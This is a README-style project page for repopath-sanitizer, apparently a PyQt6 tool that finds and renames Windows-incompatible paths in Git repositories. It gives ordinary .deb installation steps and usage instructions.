| layout | default |
|---|---|
| title | ๐ ๏ธ repopath-sanitizer - Fix Your Paths for Better Compatibility |
| description | ๐ ๏ธ Scan and fix Windows-incompatible paths in Git repos with RepoPath Sanitizer, ensuring seamless cross-platform compatibility and history preservation. |
Welcome to the repopath-sanitizer! This application helps you find and fix file and folder paths in your local Git projects that might cause issues on Windows. With a simple interface, you can ensure your work is compatible and easy to manage across different operating systems.
Before you start, check these requirements:
- Operating System: Linux (desktop version)
- Python: Version 3.6 or higher
- PyQt6: This app is built using the PyQt6 framework; no extra installation is needed for this app.
- Path Scanning: The app scans your Git working tree to identify problematic paths.
- Safe Fix Proposals: It suggests changes to make your paths compatible with Windows.
- Git-Aware Renames: You can apply fixes using the
git mvcommand to keep your history intact.
To get started, visit this page to download the most recent version of repopath-sanitizer:
Once on the Releases page, follow these steps:
- Choose the most recent version.
- Click on the file that matches your system. Look for files with extension
.debfor easy installation. - Save the file to your computer.
After downloading:
-
Open your terminal.
-
Navigate to the folder where you downloaded the package using the
cdcommand. -
Install the application using the following command:
sudo dpkg -i your_downloaded_file.deb
Replace
your_downloaded_file.debwith the name of the file you downloaded. -
Finally, if there are any dependency issues, run:
sudo apt-get install -f
Now, you can launch the repopath-sanitizer from your applications menu or by typing repopath-sanitizer in the terminal.
- Open the App: Launch repopath-sanitizer after installation.
- Select Your Repository: Use the interface to choose the Git repository you want to scan.
- Start Scanning: Click the โScanโ button to check for incompatibilities.
- Review Suggestions: Look through the provided safe fixes for any path issues.
- Apply Fixes: Choose the changes you want to apply and click on the โApply Fixesโ button.
If you want to contribute, please fork the repository and make a pull request. Itโs a great way to help improve repopath-sanitizer.
This project is licensed under the MIT License. Feel free to use it as you like, but please give credit to the original authors.
This application relates to several important areas for developers and users alike:
- Cross-Platform Compatibility
- File Management
- Dealing with Git
- Path Validation
- Python and PyQt6 Development
For support, please open an issue in the GitHub repository. We value user feedback and aim to improve continuously.
Thank you for using repopath-sanitizer! Your paths will be cleaner and accessible for all users, regardless of their operating system.